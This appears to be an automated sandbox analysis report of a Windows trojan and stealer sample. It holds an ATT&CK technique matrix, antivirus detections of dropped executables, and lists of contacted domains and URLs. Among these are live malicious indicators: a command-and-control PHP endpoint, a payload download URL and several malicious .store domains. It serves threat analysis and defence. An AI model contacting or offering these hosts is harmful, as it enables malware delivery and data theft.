Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\4HKD0R439Q1BOYMAOJT8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003076001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4HKD0R439Q1BOYMAOJT8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003076001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://profiler.firefox.com	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://reactjs.org/docs/error-decoder.html?invariant=	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://getpocket.com/recommendations	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe
https://www.ctrip.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.1	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.186.46	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	142.250.185.142	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.129.140	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
www.reddit.com	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown
navygenerayk.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001D.00000003.3171564466.0000012DD1EB4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.leboncoin.fr/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.com	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://necklacedmny.store/;;	file.exe, 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/sets	firefox.exe, 0000001D.00000002.3233123382.0000012DC9526000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php/z	26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://youtube.com/	firefox.exe, 0000001D.00000002.3233123382.0000012DC9543000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 0000001D.00000002.3233123382.0000012DC9526000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/2	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/i)j	file.exe, 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/99	9f543353fa.exe, 0000000B.00000003.2900551720.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2901402493.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.com/	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest5	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001D.00000002.3264222993.0000012DCB24D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://basket.mozilla.org/subscribe.json	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2334696390.0000000000B57000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://necklacedmny.store/apilet	9f543353fa.exe, 0000000B.00000003.2949308106.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2969961104.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://fb.me/react-polyfillsO	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://necklacedmny.store/apiet	9f543353fa.exe, 0000000B.00000003.2969961104.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://yandex.com	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	26972fc2ff.exe, 0000000C.00000002.2976877638.000000000061C000.00000040.00000001.01000000.0000000F.sdmp, 26972fc2ff.exe, 0000000C.00000003.2936121608.000000000507B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/I)J	file.exe, 00000000.00000003.2239692057.0000000000B59000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246137788.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001D.00000003.3125401839.0000012DCE4FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3130414680.0000012DCE2C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3114838181.0000012DCD8CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://snippets.mozilla.com/show/	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-times$	firefox.exe, 0000001D.00000002.3233123382.0000012DC9561000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	9f543353fa.exe, 00000011.00000003.3213834852.000000000580F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api)	9f543353fa.exe, 0000000D.00000003.3153434359.0000000000721000.00000004.00000020.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3154816202.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.co.uk/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com/	firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/collections	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://www.google.com/search	firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	false		unknown
https://reactjs.org/docs/error-decoder.html?invariant=	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations	firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://www.wykop.pl/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://twitter.com/	firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/stringsH	firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
